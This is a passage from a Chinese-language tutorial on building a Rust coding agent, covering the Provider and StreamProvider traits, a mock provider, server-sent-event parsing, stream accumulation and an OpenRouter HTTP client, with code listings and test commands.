LLM API 在每次响应中报告 token 计数,用于成本感知和调试。
#![allow(unused)] fn main() { #[derive(Debug, Clone, Default)] pub struct TokenUsage { pub input_tokens: u64, pub output_tokens: u64, } }
starter 用简化的 TokenUsage,只有输入和输出 token 计数,以 Option<TokenUsage> 形式存储在 AssistantTurn 中。测试中的 mock provider 设为 None,真实的 OpenRouterProvider 从 API 响应中填充它。
Default impl 由 tests/cost_tracker.rs 中的 test_cost_tracker_token_usage_default 覆盖(第 17 章还会再次用到)。单独运行:
cargo test -p mini-claw-code-starter test_cost_tracker_token_usage_default
1.9 Provider trait
Provider trait
Provider trait 定义在 src/types.rs,对任意 LLM 后端进行抽象:
#![allow(unused)] fn main() { pub trait Provider: Send + Sync { fn chat<'a>( &'a self, messages: &'a [Message], tools: &'a [&'a ToolDefinition], ) -> impl Future<Output = anyhow::Result<AssistantTurn>> + Send + 'a; } }
与 Tool 不同,Provider 用 RPITIT(trait 中返回位置的 impl Trait)而非 #[async_trait]。完整权衡分析见为什么有两种异步 trait 风格?。
blanket impl 让 Arc<P> 也能当 Provider 用,后续需要在 agent 与子 agent 之间共享 provider 时必不可少:
#![allow(unused)] fn main() { impl<P: Provider> Provider for Arc<P> { ... } }
MockProvider 在第 5a 章实现,OpenRouterProvider 在第 5b 章实现。
汇总
实现 src/types.rs 后,运行本章完整测试套件:
cargo test -p mini-claw-code-starter test_mock_
测试验证的内容
test_mock_message_user— 构造Message::User,验证持有预期字符串test_mock_message_system— 构造Message::System,验证持有预期字符串test_mock_message_tool_result— 构造Message::ToolResult,验证id和content均正确test_mock_assistant_turn— 构建带文本的AssistantTurn,验证stop_reason为Stoptest_mock_tool_definition_builder— 用构建器添加参数,验证生成的 JSON schema 结构正确test_mock_tool_definition_optional_param— 添加可选参数,验证它不出现在required数组中test_mock_toolset_empty— 创建空ToolSet,验证对任意名称get()返回Nonetest_mock_token_usage_default— 验证TokenUsage::default()将两个计数器都初始化为零
你构建了什么
这一章建立了整个 agent 的类型词汇:
Message:四变体 enum,携带每种对话条目:系统指令、用户输入、assistant 响应、工具结果。AssistantTurn:模型的响应,含可选文本、工具调用、停止原因、可选 token 使用量。StopReason:驱动 agent 循环的二元信号:继续还是停止。ToolDefinition:JSON Schema 工具描述的构建器,LLM 用它了解可用工具。ToolCall:工具执行的请求端,通过 ID 与Message::ToolResult关联。- **
Tooltrait**:每个工具必须实现的最简异步接口:definition()和call()`。 ToolSet:基于HashMap的注册表,运行时按名称查找工具。Providertrait`:异步 LLM 抽象,对任意后端通用。TokenUsage:每次请求的 token 跟踪。
核心要点
整个 agent——工具、provider、循环本身——都建立在这一章定义的词汇上。把这些类型设计对(尤其是 Message enum 和 StopReason)决定了 agent 循环是简洁还是混乱。类型是契约,其他一切都是实现。
这些类型本身不做任何事情——它们是系统的名词。下一章实现 MockProvider 和 OpenRouterProvider,给这些类型它们的第一批动词。
自我检测
← 第 3 章:Agent 循环 · 目录 · 第 5a 章:Provider 与流式基础 →
第 5a 章:Provider 与流式基础
需要编辑的文件:
src/streaming.rs— 所有标注TODO ch5a:的存根(StreamingAgent除外,那是第 5b 章的内容)。
src/mock.rs中已有你在第 1 章填写的MockProvider存根;本章依赖那部分工作,但不会重新填写它。如果你从第 1 章跳过来,请先回去完成TODO ch1:的存根。 需要运行的测试:cargo test -p mini-claw-code-starter test_mock_和cargo test -p mini-claw-code-starter test_streaming_parse_ test_streaming_accumulator_预计用时: 35 分钟
目标
- 重新审视
MockProvider(第 1 章构建的),把它当作Providertrait 的典型示例,再以此引出下面的流式变体。 - 实现
parse_sse_line,把单行 SSE 转换为StreamEvent。 - 实现
StreamAccumulator,把一系列增量重新组装为完整的AssistantTurn。 - 实现
MockStreamProvider,让面向 UI 的代码无需真实 HTTP 连接就能测试。 - 搞清楚异步代码中
std::sync::Mutex和tokio::sync::Mutex各自的适用场景。
第 4 章定义了流经 agent 的数据。这一章(以及下一章)把这些类型变成真正能驱动数据的东西——LLM 后端。工作分两半:
- 第 5a 章(本章): 抽象与可测试的基础——trait、mock provider、SSE 解析、流积累。
- 第 5b 章: 真实 HTTP provider(
OpenRouterProvider),以及把流 channel 接入 agent 循环的StreamingAgent。
把流式管道(本章)和网络与编排(下一章)分开,各部分可以独立测试。
流式端到端工作原理
下图是完整系统的预览。StreamingAgent 和 OpenRouter API 两个方框暂时不用管——它们属于第 5b 章。本章负责其他所有方框。
sequenceDiagram
participant Agent
participant StreamProvider
participant API as LLM API
participant Channel as mpsc channel
participant UI
Agent->>StreamProvider: stream_chat(messages, tools, tx)
StreamProvider->>API: POST /chat/completions (stream: true)
loop SSE chunks
API-->>StreamProvider: data: {"delta": ...}
StreamProvider->>StreamProvider: parse_sse_line
StreamProvider->>Channel: send(StreamEvent)
StreamProvider->>StreamProvider: accumulator.feed(event)
Channel-->>UI: recv() and render
end
API-->>StreamProvider: data: [DONE]
StreamProvider->>Agent: return accumulator.finish()
为什么需要 trait?
coding agent 需要调用 LLM,但具体调哪个不应该硬编码。测试时需要即时、确定的响应;生产环境需要通过 HTTP 流式传输。Provider trait 提供了这条接缝。
Claude Code 内部用的是类似的抽象——每次 LLM 调用都经过 provider 接口,后端(Anthropic API、Bedrock、Vertex)的选择在启动时确定。
Provider trait(RPITIT)
完整 trait 如下:
#![allow(unused)] fn main() { pub trait Provider: Send + Sync { fn chat<'a>( &'a self, messages: &'a [Message], tools: &'a [&'a ToolDefinition], ) -> impl Future<Output = anyhow::Result<AssistantTurn>> + Send + 'a; } }
几点值得注意:
没有 #[async_trait]。 Provider trait 用的是返回位置 impl Trait in traits(RPITIT)——Rust 1.75 稳定。写 fn chat(...) -> impl Future<...> 而不是 async fn chat(...),可以显式控制生命周期和 Send 约束;trait 中的 async fn 不总能推断返回的 future 满足 Send,会阻止在多线程运行时上 spawn。显式的 impl Future<...> + Send + 'a 签名解决了这个问题,同时避免 #[async_trait] 需要的堆分配。
第 6 章的 Tool trait 出于相反的原因用了 #[async_trait]——为了异构存储的对象安全性。何时选哪种风格的完整解释见为什么有两种异步 trait 风格?。一句话版本在第 2 章。
为什么 trait 本身需要 Send + Sync? agent 循环会通过共享引用(以及后来的 Arc)持有 P: Provider。Sync 让多个任务共享 provider,Send 让它跨线程传递。
到处都有生命周期 'a。 返回的 future 借用了 &self 和输入切片。绑定到单一生命周期 'a,告诉编译器这个 future 存活时间不超过那些借用,避免 'static 要求。
Provider trait 已在 src/types.rs 中定义(第 4 章)。starter 把它和消息类型放在一起,因为所有内容都在平铺布局中。
Arc<P> 的 blanket impl
紧接在 Provider trait 下方,starter 中有:
#![allow(unused)] fn main() { impl<P: Provider> Provider for Arc<P> { fn chat<'a>( &'a self, messages: &'a [Message], tools: &'a [&'a ToolDefinition], ) -> impl Future<Output = anyhow::Result<AssistantTurn>> + Send + 'a { (**self).chat(messages, tools) } } }
意思是:如果 P 是 Provider,那么 Arc<P> 也是 Provider。通过 Arc 解引用后委托给内部值。
这有什么用?之后构建子 agent 时,主 agent 和子 agent 会共享同一个 provider。克隆 Arc 代价低廉,blanket impl 意味着泛型于 P: Provider 的子 agent 代码,无论拿到的是裸 provider 还是共享 provider,行为完全一致。没有它,就得额外的类型管道来传递共享 provider。
Provider trait 和 Arc<P> blanket impl 都已在 src/types.rs 中。
MockProvider
对真实 API 测试 agent 既慢又贵,还不确定。MockProvider 让你脚本化精确的响应,验证 agent 能否正确处理。
#![allow(unused)] fn main() { use std::collections::VecDeque; use std::sync::Mutex; pub struct MockProvider { responses: Mutex<VecDeque<AssistantTurn>>, } impl MockProvider { pub fn new(responses: VecDeque<AssistantTurn>) -> Self { Self { responses: Mutex::new(responses), } } } impl Provider for MockProvider { async fn chat( &self, _messages: &[Message], _tools: &[&ToolDefinition], ) -> anyhow::Result<AssistantTurn> { self.responses .lock() .unwrap() .pop_front() .ok_or_else(|| anyhow::anyhow!("MockProvider: no more responses")) } } }
Rust 概念:std::sync::Mutex vs tokio::sync::Mutex
Provider trait 接受 &self 而不是 &mut self,因为 provider 是共享的。但我们需要修改队列。用哪个 Mutex?
经验法则:临界区很简单时(锁内没有 .await)用 std::sync::Mutex;需要在 .await 点持有锁时用 tokio::sync::Mutex。这里的临界区只是一个 pop_front——单次指针操作。用 tokio::sync::Mutex 会增加不必要的开销(它是会让出运行时的异步感知锁)。std::sync::Mutex 更轻量,也完全安全,因为锁从不会被持有足够长的时间来阻塞运行时。
设计要点:
VecDeque:响应按 FIFO 顺序消费。第一次调用chat返回第一个响应,第二次返回第二个,以此类推。Mutex:包裹队列,让&self方法能修改它。为什么选std::sync::Mutex,见上面的 Rust 概念说明。- 耗尽时报错:测试脚本了三个响应但 agent 第四次调用
chat,会得到错误而不是静默 panic。能捕获循环次数超出预期的 agent 循环。
测试策略
MockProvider 是所有测试的基础。脚本化精确的响应序列后,可以测试:
- 单轮: 一个带
StopReason::Stop的响应 - 工具调用循环: 第一个响应带
StopReason::ToolUse和工具调用,agent 执行后发送结果,第二个响应带StopReason::Stop - 多轮序列: 任意数量的脚本化轮次
- 错误处理: 空队列返回错误
典型测试:
#![allow(unused)] fn main() { #[tokio::test] async fn mock_returns_text() { let provider = MockProvider::new(VecDeque::from([AssistantTurn { text: Some("Hello!".into()), tool_calls: vec![], stop_reason: StopReason::Stop, usage: None, }])); let turn = provider.chat(&[Message::User("Hi".into())], &[]).await.unwrap(); assert_eq!(turn.text.as_deref(), Some("Hello!")); } }
注意测试忽略了 messages 输入——mock 不检查 agent 发送的内容。这是有意为之。测试的是 agent 面对已知 provider 响应时的行为,不是 provider 理解 prompt 的能力。
你的任务
打开 starter 中的 src/mock.rs,里面是带有 unimplemented!() 存根的 MockProvider struct。填写 new() 和 Provider impl。
StreamEvent
定义流式 trait 之前,先建立描述 LLM 发回增量块的词汇:
#![allow(unused)] fn main() { #[derive(Debug, Clone, PartialEq)] pub enum StreamEvent { /// A fragment of the model's text response. TextDelta(String), /// The beginning of a tool call (carries the call ID and tool name). ToolCallStart { index: usize, id: String, name: String, }, /// A fragment of a tool call's JSON arguments. ToolCallDelta { index: usize, arguments: String, }, /// The stream is complete. Done, } }
四个变体直接对应 OpenAI 流式 API:
- TextDelta:模型自然语言输出的片段(如
"Hello",然后是" world")。 - ToolCallStart:模型开始了一个工具调用。
index标识哪次调用(一个轮次可以请求多个工具),id是服务器分配的关联 ID,name是工具名称。 - ToolCallDelta:该
index处调用的 JSON 参数片段。参数增量到达,因为模型逐 token 生成 JSON。 - Done:流结束信号。
index 字段很重要,因为流式传输会交错来自多个工具调用的片段,消费者需要知道每个片段属于哪个调用。
StreamProvider trait
#![allow(unused)] fn main() { pub trait StreamProvider: Send + Sync { fn stream_chat<'a>( &'a self, messages: &'a [Message], tools: &'a [&'a ToolDefinition], tx: mpsc::UnboundedSender<StreamEvent>, ) -> impl Future<Output = anyhow::Result<AssistantTurn>> + Send + 'a; } }
设计上用的是基于 channel 的流式模型,而不是返回 AsyncIterator 或 Stream。调用方创建 tokio::sync::mpsc::unbounded_channel(),把发送端传给 stream_chat,从接收端读取事件——通常在独立任务中渲染到终端。
方法本身在流完成后仍然返回完整组装好的 AssistantTurn。这意味着 agent 循环总是得到干净的 AssistantTurn,不管有没有启用流式传输。channel 是 UI 的旁路。
为什么用 UnboundedSender 而不是有界 channel?流式事件很小,到达速度受限于网络。瓶颈在 API 而非消费者,背压没有必要。无界 channel 让 API 更简洁。
StreamEvent enum 和 StreamProvider trait 都在 starter 的 src/streaming.rs 中。
MockStreamProvider
MockStreamProvider 包装 MockProvider,从每个预设响应中合成 StreamEvent。这让你无需真实 HTTP 连接就能测试消费流事件的 UI 代码。
struct 包装 MockProvider,其 stream_chat impl 分三步:
- 委托给
self.inner.chat()获取预设的AssistantTurn - 分解为事件:文本逐字符作为
TextDelta发送,每个工具调用发送ToolCallStart+ 单个ToolCallDelta,最后发送Done - 原样返回原始
AssistantTurn
完整实现:
#![allow(unused)] fn main() { pub struct MockStreamProvider { inner: MockProvider, } impl MockStreamProvider { pub fn new(responses: VecDeque<AssistantTurn>) -> Self { Self { inner: MockProvider::new(responses), } } } impl StreamProvider for MockStreamProvider { async fn stream_chat( &self, messages: &[Message], tools: &[&ToolDefinition], tx: mpsc::UnboundedSender<StreamEvent>, ) -> anyhow::Result<AssistantTurn> { let turn = self.inner.chat(messages, tools).await?; // Synthesize stream events from the complete turn if let Some(ref text) = turn.text { for ch in text.chars() { let _ = tx.send(StreamEvent::TextDelta(ch.to_string())); } } for (i, call) in turn.tool_calls.iter().enumerate() { let _ = tx.send(StreamEvent::ToolCallStart { index: i, id: call.id.clone(), name: call.name.clone(), }); let _ = tx.send(StreamEvent::ToolCallDelta { index: i, arguments: call.arguments.to_string(), }); } let _ = tx.send(StreamEvent::Done); Ok(turn) } } }
这样就不用重复响应队列逻辑——inner.chat() 处理 VecDeque 的弹出。let _ = tx.send(...) 有意忽略发送错误:接收方被 drop 了,没人在监听,这没问题。
你的任务
在 src/streaming.rs 中填写 MockStreamProvider::new() 及其 stream_chat() 存根。
Server-Sent Events 与 parse_sse_line
真实 provider 请求 stream: true 时,API 返回 Server-Sent Events(SSE)流。SSE 是基于 HTTP 的简单文本协议:
data: {"choices":[{"delta":{"content":"Hello"},"finish_reason":null}]}
data: {"choices":[{"delta":{"content":" world"},"finish_reason":null}]}
data: [DONE]
每个事件是一行以 data: 开头、后跟 JSON 载荷(或特殊字符串 [DONE])的文本。事件之间用空行分隔。就这些——没有帧,没有长度前缀,只有换行符分隔的文本。这种简洁性正是 SSE 成为 LLM 流式传输标准的原因。
parse_sse_line 处理单行:
#![allow(unused)] fn main() { pub fn parse_sse_line(line: &str) -> Option<Vec<StreamEvent>> { let data = line.strip_prefix("data: ")?; if data == "[DONE]" { return Some(vec![StreamEvent::Done]); } let chunk: ChunkResponse = serde_json::from_str(data).ok()?; let choice = chunk.choices.into_iter().next()?; let mut events = Vec::new(); if let Some(text) = choice.delta.content && !text.is_empty() { events.push(StreamEvent::TextDelta(text)); } if let Some(tool_calls) = choice.delta.tool_calls { for tc in tool_calls { if let Some(id) = tc.id { let name = tc.function .as_ref() .and_then(|f| f.name.clone()) .unwrap_or_default(); events.push(StreamEvent::ToolCallStart { index: tc.index, id, name, }); } if let Some(ref func) = tc.function && let Some(ref args) = func.arguments && !args.is_empty() { events.push(StreamEvent::ToolCallDelta { index: tc.index, arguments: args.clone(), }); } } } if events.is_empty() { None } else { Some(events) } } }
逐步解析:
- 去除
data:前缀。 不以data:开头的行(如event: ping或空行)返回None——不是数据事件。 - 检查
[DONE]。 OpenAI 标准的流结束哨兵,返回Done事件。 - 将 JSON 解析为
ChunkResponse。 JSON 格式错误时,.ok()?静默跳过。有意为之——SSE 流偶尔包含 keep-alive ping 或格式错误的块,崩溃比丢弃一个 token 更糟。 - 提取文本增量。
delta.content字段是文本片段,空字符串跳过。 - 提取工具调用事件。 单个块可以同时包含
ToolCallStart(id字段存在,表示新调用)和ToolCallDelta(arguments存在)。if let ... && let ...是 Rust 的 let-chains 特性,2024 edition 稳定。
Rust 概念:let-chains
if let Some(ref func) = tc.function && let Some(ref args) = func.arguments 把两个模式匹配合并为单个 if 表达式。有 let-chains 之前,需要嵌套的 if let 块或带元组的 match。let-chains 把嵌套展平,条件更易读。ref 借用匹配的值而不是移动,这里是必要的,因为 tc 在 if let 之后还会被使用。
测试验证了解析器的三种情况:文本增量行产生 StreamEvent::TextDelta("Hello"),data: [DONE] 产生 StreamEvent::Done,event: ping 或空字符串等非数据行返回 None。
你的任务
parse_sse_line 函数及其 SSE 反序列化类型(ChunkResponse、ChunkChoice、Delta、DeltaToolCall、DeltaFunction)在 src/streaming.rs 中。填写 parse_sse_line 存根。
StreamAccumulator
流式传输为 UI 提供实时输出,但 agent 循环需要完整的 AssistantTurn 才能决定下一步。StreamAccumulator 弥合这个差距——事件到达时收集,最后生成完整消息。
#![allow(unused)] fn main() { pub struct StreamAccumulator { text: String, tool_calls: Vec<PartialToolCall>, } struct PartialToolCall { id: String, name: String, arguments: String, } }
两个关键方法:
#![allow(unused)] fn main() { impl StreamAccumulator { pub fn new() -> Self { Self { text: String::new(), tool_calls: Vec::new(), } } pub fn feed(&mut self, event: &StreamEvent) { match event { StreamEvent::TextDelta(s) => self.text.push_str(s), StreamEvent::ToolCallStart { index, id, name } => { // Ensure the Vec is large enough for this index while self.tool_calls.len() <= *index { self.tool_calls.push(PartialToolCall { id: String::new(), name: String::new(), arguments: String::new(), }); } self.tool_calls[*index].id = id.clone(); self.tool_calls[*index].name = name.clone(); } StreamEvent::ToolCallDelta { index, arguments } => { if let Some(tc) = self.tool_calls.get_mut(*index) { tc.arguments.push_str(arguments); } } StreamEvent::Done => {} } } pub fn finish(self) -> AssistantTurn { let text = if self.text.is_empty() { None } else { Some(self.text) }; let tool_calls: Vec<ToolCall> = self .tool_calls .into_iter() .filter(|tc| !tc.name.is_empty()) .map(|tc| ToolCall { id: tc.id, name: tc.name, arguments: serde_json::from_str(&tc.arguments) .unwrap_or(Value::Null), }) .collect(); let stop_reason = if tool_calls.is_empty() { StopReason::Stop } else { StopReason::ToolUse }; AssistantTurn { text, tool_calls, stop_reason, usage: None, } } } }
设计说明:
feed增量追加。 文本片段拼接到self.text,工具调用参数按索引拼接到PartialToolCall::arguments。- 稀疏索引处理。
ToolCallStart中的while循环用空条目填充 vector,使得即使 vector 只有一个元素,index: 2也能正常工作。finish中的filter(|tc| !tc.name.is_empty())去除这些占位符。 - 延迟 JSON 解析。 参数在流式传输期间以字符串片段形式到达,
finish只在流结束后才把拼接好的字符串解析为serde_json::Value,格式错误时回退到Value::Null。 stop_reason由工具调用派生。 有工具调用通过过滤器则为ToolUse,否则为Stop。usage为None,因为大多数流式 API 不在每个块中包含 token 计数。
accumulator 测试(test_streaming_accumulator_text、test_streaming_accumulator_tool_call)分别提供两个文本增量,或一个工具调用开始加两个参数片段,验证拼接结果符合预期。
你的任务
StreamAccumulator 和 PartialToolCall 在 src/streaming.rs 中。填写 new()、feed() 和 finish() 存根。
运行测试
cargo test -p mini-claw-code-starter test_mock_
cargo test -p mini-claw-code-starter test_streaming_parse_
cargo test -p mini-claw-code-starter test_streaming_accumulator_
这些测试验证的内容
test_mock_(MockProvider):
test_mock_mock_returns_text— 脚本化单个文本响应,验证chat()返回它test_mock_mock_exhausted— 对空队列调用chat(),验证返回错误
test_streaming_parse_(SSE 解析器):
test_streaming_parse_text_delta— 提供带文本内容的data:行,验证生成TextDelta事件test_streaming_parse_done— 提供data: [DONE],验证生成Done事件test_streaming_parse_non_data_lines— 提供event: ping等非数据行,验证返回None
test_streaming_accumulator_(流重组):
test_streaming_accumulator_text— 提供两个TextDelta事件,验证拼接结果test_streaming_accumulator_tool_call— 提供ToolCallStart和两个ToolCallDelta片段,验证重组为带已解析 JSON 参数的有效ToolCall
其他所有测试(test_openrouter_、test_streaming_streaming_agent_、test_streaming_stream_chat_)属于第 5b 章。
关键要点
provider 层把 agent 与任何具体的 LLM 后端解耦。MockProvider 让测试快速且确定;StreamProvider trait 通过 channel 输出增量事件,方法本身仍然返回干净的 AssistantTurn;StreamAccumulator 是桥梁,让 UI 在 token 到达时就能看到,而 agent 循环看到的是完整消息。
这一章的所有内容都可以在无网络的情况下测试。接下来第 5b 章把这些原语接入真实的 HTTP provider,并将事件 channel 接通 agent 循环。
自我检测
← 第 4 章:消息与类型 · 目录 · 第 5b 章:OpenRouter 与 StreamingAgent →
第 5b 章:OpenRouter 与 StreamingAgent
需要编辑的文件:
src/providers/openrouter.rs、src/streaming.rs(底部的StreamingAgent块) 需要运行的测试:cargo test -p mini-claw-code-starter test_openrouter_、cargo test -p mini-claw-code-starter test_streaming_streaming_agent_、cargo test -p mini-claw-code-starter test_streaming_stream_chat_预计用时: 35 分钟
目标
- 实现
OpenRouterProvider,让 agent 能与真实的 OpenAI 兼容 API 通信——非流式和流式两种方式都要。 - 实现
StreamingAgent::chat——在 LLM 仍在生成内容时把流式文本增量转发到 UI channel 的 agent 循环。
第 5a 章构建了抽象(Provider、StreamProvider、StreamEvent)、mock(MockProvider、MockStreamProvider)以及解析/积累机制(parse_sse_line、StreamAccumulator)。这一章把这些部件接入真实的 HTTP provider,并将流式 channel 接通 agent 循环。
下面的内容若假设 parse_sse_line 或 StreamAccumulator 已经存在——它们确实存在,因为你在第 5a 章已经实现了。
侧边栏:面向 Go 开发者的 tokio 并发
如果 Go 是你的原生异步语言,下面这张翻译对照表是阅读流式代码前的必备知识。本章的一切都建立在这五个原语之上;已经习惯用 tokio 思考的可以跳过。
| Go | Tokio | 说明 |
|---|---|---|
go func() { ... }() | tokio::spawn(async { ... }) | 两者都是"触发后不管"。tokio::spawn 返回 JoinHandle,如果你关心结果,可以稍后 await 它。 |
ch := make(chan T, n) | let (tx, rx) = tokio::sync::mpsc::channel::<T>(n) | 有界 channel。无界版本用 mpsc::unbounded_channel()——类似于缓冲区无限大的 channel。 |
ch <- v | tx.send(v).await | Tokio 中的异步发送(缓冲区满时等待)。无界版本用 tx.send(v),无需 .await。 |
v, ok := <-ch | let Some(v) = rx.recv().await { ... } | 当所有发送方都被 drop 时,recv 返回 None(等价于 close(ch) 加排空)。 |
close(ch) | drop 掉每一个 tx 克隆 | Tokio 没有显式的 close。最后一个发送方被 drop 时,接收方收到 None,循环退出。 |
wg.Add(1); wg.Wait() | handle.await(或 tokio::join!、try_join!) | JoinHandle 相当于单个 goroutine 的 WaitGroup。多个 handle:tokio::join!(h1, h2) 并发运行它们。 |
select { case <-a: case <-b: } | tokio::select! { _ = a => ..., _ = b => ... } | 直接对应。若分支不互斥,需使用 biased;。 |
本章有一个值得单独说明的细节:我们通过丢弃发送方来表示"流结束",没有显式的 close 调用。接收方任务观察到 rx.recv().await == None 后退出循环。如果你忘记 drop 发送方(比如把它放在一个比生产者活得更长的 Arc 里),接收方会永远挂起——这正是 §"为什么不在主循环中直接 rx.recv()?" 中分析的死锁模式之一。
OpenRouterProvider
有了解析基础设施,可以构建真实的 provider 了。目标是 OpenRouter API,与 OpenAI 兼容——同样的请求/响应格式适用于 OpenAI、Together、Groq 等。
API 类型
provider 需要 serde 类型处理请求和响应载荷。请求侧:
#![allow(unused)] fn main() { #[derive(Serialize)] struct ChatRequest<'a> { model: &'a str, messages: Vec<ApiMessage>, #[serde(skip_serializing_if = "Vec::is_empty")] tools: Vec<ApiTool>, #[serde(skip_serializing_if = "std::ops::Not::not")] stream: bool, } }
skip_serializing_if 注解保持 JSON 整洁——tools 为空时省略(某些模型对空数组会报错),stream 为 false 时省略(这是 API 的默认值)。
ApiMessage、ApiToolCall、ApiFunction、ApiTool 和 ApiToolDef 镜像 OpenAI 消息格式。响应类型(ChatResponse、Choice、ResponseMessage)反序列化非流式响应。块类型(ChunkResponse、ChunkChoice、Delta、DeltaToolCall、DeltaFunction)反序列化流式响应——你在第 5a 章已为 parse_sse_line 实现了它们。
转换辅助函数
OpenRouterProvider 上两个 impl 方法负责内部类型和 API 格式之间的转换。convert_messages 处理四个 Message 变体:
#![allow(unused)] fn main() { pub(crate) fn convert_messages(messages: &[Message]) -> Vec<ApiMessage> { let mut out = Vec::new(); for msg in messages { match msg { Message::System(text) => out.push(ApiMessage { role: "system".into(), content: Some(text.clone()), tool_calls: None, tool_call_id: None, }), Message::User(text) => out.push(ApiMessage { role: "user".into(), content: Some(text.clone()), tool_calls: None, tool_call_id: None, }), Message::Assistant(turn) => out.push(ApiMessage { role: "assistant".into(), content: turn.text.clone(), tool_calls: if turn.tool_calls.is_empty() { None } else { Some( turn.tool_calls .iter() .map(|c| ApiToolCall { id: c.id.clone(), type_: "function".into(), function: ApiFunction { name: c.name.clone(), arguments: c.arguments.to_string(), }, }) .collect(), ) }, tool_call_id: None, }), Message::ToolResult { id, content } => out.push(ApiMessage { role: "tool".into(), content: Some(content.clone()), tool_calls: None, tool_call_id: Some(id.clone()), }), } } out } }
四个细节值得停下来看:
System和User是对称的。 形状相同,只是 role 字符串不同,其他字段(tool_calls、tool_call_id)均为None。Assistant有细微差别。text直接映射到content,但工具调用需要重新序列化。c.arguments是serde_json::Value;OpenAI API 期望它是 JSON 字符串,所以调用.to_string()把Value转回文本。发送空的tool_calls: []数组会让一些 provider 以请求格式错误为由拒绝,因此改用None。ToolResult变为role: "tool"。 通过tool_call_id将结果与原始调用关联。没有这个 id,provider 无法对上结果和调用,下一个响应通常是报错。- 没有 default 分支。 每个
Message变体都被显式处理。如果第 4 章新增了变体,这里的 match 会拒绝编译,直到你决定如何序列化它——这正是我们想要的行为。
convert_tools 更简单:把每个 ToolDefinition 包裹进 OpenAI 函数调用信封。
#![allow(unused)] fn main() { pub(crate) fn convert_tools(tools: &[&ToolDefinition]) -> Vec<ApiTool> { tools .iter() .map(|t| ApiTool { type_: "function", function: ApiToolDef { name: t.name, description: t.description, parameters: t.parameters.clone(), }, }) .collect() } }
信封形状固定:{ "type": "function", "function": { name, description, parameters } }。每个 OpenAI 兼容 provider 都期望这个格式,ToolDefinition 在第 4 章设计时就是为了让这个映射只需一行。
provider struct
#![allow(unused)] fn main() { pub struct OpenRouterProvider { client: reqwest::Client, api_key: String, model: String, base_url: String, } }
持有可复用的 reqwest::Client、API 密钥、模型名称和基础 URL。构造函数:new(api_key, model) 显式创建,from_env() 通过 dotenvy 加载 OPENROUTER_API_KEY,base_url(self, url) 构建器方法覆盖端点(适用于本地测试或替代 provider)。
非流式 Provider impl
非流式路径更简单:一次 POST,一个 JSON 响应,返回 AssistantTurn。完整实现:
#![allow(unused)] fn main() { impl Provider for OpenRouterProvider { async fn chat( &self, messages: &[Message], tools: &[&ToolDefinition], ) -> anyhow::Result<AssistantTurn> { let body = ChatRequest { model: &self.model, messages: Self::convert_messages(messages), tools: Self::convert_tools(tools), stream: false, }; let resp: ChatResponse = self .client .post(format!("{}/chat/completions", self.base_url)) .bearer_auth(&self.api_key) .json(&body) .send() .await .context("request failed")? .error_for_status() .context("API returned error status")? .json() .await .context("failed to parse response")?; let choice = resp.choices.into_iter().next().context("no choices")?; let tool_calls = choice .message .tool_calls .unwrap_or_default() .into_iter() .map(|tc| { let arguments = serde_json::from_str(&tc.function.arguments).unwrap_or(Value::Null); ToolCall { id: tc.id, name: tc.function.name, arguments, } }) .collect(); let stop_reason = match choice.finish_reason.as_deref() { Some("tool_calls") => StopReason::ToolUse, _ => StopReason::Stop, }; let usage = resp.usage.map(|u| TokenUsage { input_tokens: u.prompt_tokens.unwrap_or(0), output_tokens: u.completion_tokens.unwrap_or(0), }); Ok(AssistantTurn { text: choice.message.content, tool_calls, stop_reason, usage, }) } } }
三个决策值得注意:
error_for_status()将 HTTP 4xx/5xx 转为Err。 否则来自 OpenRouter 的 403 会把响应体当作ChatResponse反序列化,在更后面以莫名其妙的方式失败。- 工具调用参数以 JSON 字符串形式到达,不是
Value。 OpenAI 规范在传输格式中用"arguments": "{\"path\":\"foo.rs\"}"。我们自己把它解析回Value;解析失败时回退到Value::Null,格式错误的arguments字段不会中止整个轮次。 stop_reason是对finish_reason的直接映射。 只有"tool_calls"变为ToolUse,其他一切("stop"、"length"、null、缺失)变为Stop。与第 3 章的旁注中"由模型决定"的说法一致——我们只是在翻译模型自己的停止信号。
流式 StreamProvider impl
流式路径与非流式请求形状相同,只是 stream: true,但读取的是分块 HTTP 响应,解析为 Server-Sent Events。完整实现:
#![allow(unused)] fn main() { impl crate::streaming::StreamProvider for OpenRouterProvider { async fn stream_chat( &self, messages: &[Message], tools: &[&ToolDefinition], tx: tokio::sync::mpsc::UnboundedSender<crate::streaming::StreamEvent>, ) -> anyhow::Result<AssistantTurn> { use crate::streaming::{StreamAccumulator, parse_sse_line}; let body = ChatRequest { model: &self.model, messages: Self::convert_messages(messages), tools: Self::convert_tools(tools), stream: true, }; let mut resp = self .client .post(format!("{}/chat/completions", self.base_url)) .bearer_auth(&self.api_key) .json(&body) .send() .await .context("request failed")? .error_for_status() .context("API returned error status")?; let mut acc = StreamAccumulator::new(); let mut buffer = String::new(); while let Some(chunk) = resp.chunk().await.context("failed to read chunk")? { buffer.push_str(&String::from_utf8_lossy(&chunk)); while let Some(newline_pos) = buffer.find('\n') { let line = buffer[..newline_pos].trim_end_matches('\r').to_string(); buffer = buffer[newline_pos + 1..].to_string(); if line.is_empty() { continue; } if let Some(events) = parse_sse_line(&line) { for event in events { acc.feed(&event); let _ = tx.send(event); } } } } Ok(acc.finish()) } } }
逐步解析:
- 同样的请求,
stream: true。 API 返回分块 HTTP 响应,不是单个 JSON 体。请求构建和鉴权与非流式路径完全相同——这正是抽象的价值所在。 - 读取原始字节块。
resp.chunk()返回Option<Bytes>——HTTP 体以任意大小的片段到达,与 SSE 事件边界不对齐。一个 chunk 可能是半行、几行,或多个事件挤在一起。 - 缓冲并按换行符分割。 TCP 块可能在 SSE 行中间截断。
buffer积累原始文本,内层while循环提取完整行。经典的面向行协议解析——积累字节,行可用时消费。内层循环持续到缓冲区没有更多完整行,然后等待下一个块。 - 解析每行。
parse_sse_line(来自第 5a 章)把data:行转换为StreamEvent。空行(SSE 事件分隔符)和非数据行(注释、keep-alive)返回None被跳过。 - 同时喂给 accumulator 和 channel。 对每个事件,accumulator 更新内部状态(构建最终的
AssistantTurn),channel 实时把同一个事件传给 UI。let _ = tx.send(event)有意忽略发送错误:接收方已被 drop 时(如转发任务因主循环取消而退出),仍然要把流消费完,底层 HTTP 连接才能干净释放。 - 返回组装好的消息。 流结束(
resp.chunk()返回None)后,accumulator 已收集所有内容,finish()产生最终的AssistantTurn。此时tx被 drop(函数返回),channel 关闭,向转发任务发出退出信号——这正是下面StreamingAgent所依赖的终止流程。
